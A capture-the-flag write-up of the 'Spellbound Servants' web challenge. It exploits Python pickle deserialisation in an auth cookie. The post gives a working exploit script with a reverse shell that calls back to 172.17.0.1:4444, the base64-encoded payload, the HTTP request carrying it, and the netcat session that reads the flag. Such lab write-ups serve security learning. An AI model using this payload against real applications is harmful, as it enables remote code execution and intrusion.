Post

Spellbound Servants

Challenge

  • CTF: Hack The Boo 2023 - Practice Official Writeup
  • Name: Spellbound Servants
  • Category: Web
  • Difficulty: Easy
  • Points: 375
  • Description: A sinister website lurks in the depth of internet, offering nefarious users a chance to enslave spectral entities as their servants. Can you help us taking it down and saving the halloween?
  • Objective: Python Pickle Deserialisation

Files

Download: web_spellbound_servants.zip

Writeup

Lets spin-up the docker image of the web and setup our static-code analysis IDE:

1
2
code .
sudo ./build-docker.sh

Browsing to the local webpage: http://127.0.0.1:1337/, we are greeted with a login page: spellboundservants_1

Registering and Logging in with test:test was successful and we are then greeted with a welcome page: spellboundservants_2

Using Synk VSCode extension, it was able to immediately identify a vulnerability in the auth cookie loader in util.py: spellboundservants_3

Lets generate a custom pickling exploit to obtain a reverse shell:

1
2
3
4
5
6
7
8
9
10
11
12
import pickle
from base64 import b64encode
import os

class RCE:
  def __reduce__(self):
    cmd = f"""python -c 'import socket,subprocess,os; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect(("172.17.0.1",4444)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); p=subprocess.call(["/bin/sh","-i"]);'"""
    return os.system, (cmd,)

# Generate pickled RCE
encoded = b64encode(pickle.dumps(RCE())).decode()
print(encoded)
1
gASVAQEAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjOZweXRob24gLWMgJ2ltcG9ydCBzb2NrZXQsc3VicHJvY2Vzcyxvczsgcz1zb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULHNvY2tldC5TT0NLX1NUUkVBTSk7IHMuY29ubmVjdCgoIjE3Mi4xNy4wLjEiLDQ0NDQpKTsgb3MuZHVwMihzLmZpbGVubygpLDApOyBvcy5kdXAyKHMuZmlsZW5vKCksMSk7IG9zLmR1cDIocy5maWxlbm8oKSwyKTsgcD1zdWJwcm9jZXNzLmNhbGwoWyIvYmluL3NoIiwiLWkiXSk7J5SFlFKULg==

Lets replace the auth cookie with the generated RCE pickling payload above and send the request to /home:

1
2
3
4
5
6
7
8
GET /home HTTP/1.1
Host: 127.0.0.1:1337
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: close
Cookie: auth=gASVAQEAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjOZweXRob24gLWMgJ2ltcG9ydCBzb2NrZXQsc3VicHJvY2Vzcyxvczsgcz1zb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULHNvY2tldC5TT0NLX1NUUkVBTSk7IHMuY29ubmVjdCgoIjE3Mi4xNy4wLjEiLDQ0NDQpKTsgb3MuZHVwMihzLmZpbGVubygpLDApOyBvcy5kdXAyKHMuZmlsZW5vKCksMSk7IG9zLmR1cDIocy5maWxlbm8oKSwyKTsgcD1zdWJwcm9jZXNzLmNhbGwoWyIvYmluL3NoIiwiLWkiXSk7J5SFlFKULg==

The reverse shell comes back as shown below:

1
2
3
$ nc -nlvp 4444
/app # cat /flag.txt
HTB{F4K3_Fl4G_F0R_T35T1NG}

Spinning up a docker instance and sending a payload with updated ngrok IP/Port numbers, we can then obtain the real flag.

1
2
3
$ nc -nlvp 4444
/app # cat /flag.txt
HTB{P1CkL3_15_f0R_SUP3R555!}

Flag:HTB{P1CkL3_15_f0R_SUP3R555!}

This post is licensed under CC BY 4.0 by the author.